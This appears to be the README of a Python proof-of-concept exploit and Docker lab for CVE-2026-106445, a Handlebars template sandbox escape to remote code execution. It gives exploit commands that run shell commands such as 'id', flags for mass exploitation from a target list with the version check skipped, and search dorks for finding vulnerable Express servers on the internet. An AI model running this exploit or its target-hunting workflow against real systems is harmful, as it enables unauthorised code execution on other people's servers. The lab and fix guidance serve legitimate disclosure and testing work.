
Python PoC and Docker lab for CVE-2026-106445, a Handlebars 4.0.0–4.7.9 RCE via Function.prototype.constructor bypass, with check/exploit modes and template payload generation.
Python 3 PoC for CVE-2026-106445 — handlebars 4.0.0 – 4.7.9 — CWE-184 / CWE-1289 — sandbox escape to Function when allowProtoMethodsByDefault: true.
| Field | Value |
|---|---|
| CVE | CVE-2026-106445 |
| GHSA | GHSA-p8wg-vrv2-v86f |
| Fixed | 4.7.10 |
| CVSS 4.0 | 9.2 Critical (AT:P — unsafe compile options + user template) |
| Verify marker | POCBIT-106445-OK |
lookupProperty returns own properties before the proto deny list runs. On Function.prototype, constructor is own → resolves to Function. Attacker template + context function fn → Function(attackerCode)() via #each / apply.
Not a generic npm dependency bug on every site: the app must compile/render attacker-controlled templates with allowProtoMethodsByDefault: true (default in some hbs setups) and expose a function in the render context.
cd CVE-2026-106445
pip install -r requirements.txt
docker compose up --build -d
python poc.py -u http://127.0.0.1:13045 --mode check
python poc.py -u http://127.0.0.1:13045 --mode exploit
python poc.py -u http://127.0.0.1:13045 --mode exploit -c "id"
python poc.py -u http://127.0.0.1:13045 --mode exploit --json
python poc.py --mode payload -c "id" # print Handlebars template only
Lab endpoints:
| Method | Path | Role |
|---|---|---|
| GET | /health | handlebars version + lab header |
| POST | /render | JSON {"template":"..."} |
| GET | /render?template=... | optional (--use-get) |
Point at any URL base that mirrors the lab API (adjust paths):
python poc.py -u https://app.example --render-path /api/preview --mode exploit -c "id" --insecure
python poc.py --list targets.txt --mode exploit -j 10 --skip-check
Check uses /health when present, else benign template probe. Exploit sends the full GHSA template chain and requires POCBIT-106445-OK (or command output) in the JSON output field.
| Flag | Purpose |
|---|---|
--mode exploit | POST malicious template, verify marker |
-c / --command | Optional shell via child_process (Linux: id). Default: JS return marker (proves Function exec) |
--skip-check | Force exploit without version gate |
--dry-run | Print template string |
--use-get | GET /render?template= |
Library CVE — hunt apps that compile user Handlebars, not handlebars.min.js on static pages:
body="handlebars" && body="allowProtoMethodsByDefault"
body="/render" && body="template" && server="Node"
header="X-Powered-By: Express"
Confirm with --mode check on suspected preview/render API.
Authorized testing only. Upgrade to [email protected]+ or disable allowProtoMethodsByDefault for untrusted templates.
CVE-2026-106445 — Handlebars 4.0.0–4.7.9 RCE via Function.prototype.constructor bypass (GHSA-p8wg-vrv2-v86f). PoCbit PoC + Docker lab (4.7.9), check/exploit HTTP client, GHSA template chain. Fixed 4.7.10. https://pocbit.org/pocs/cve-2026-106445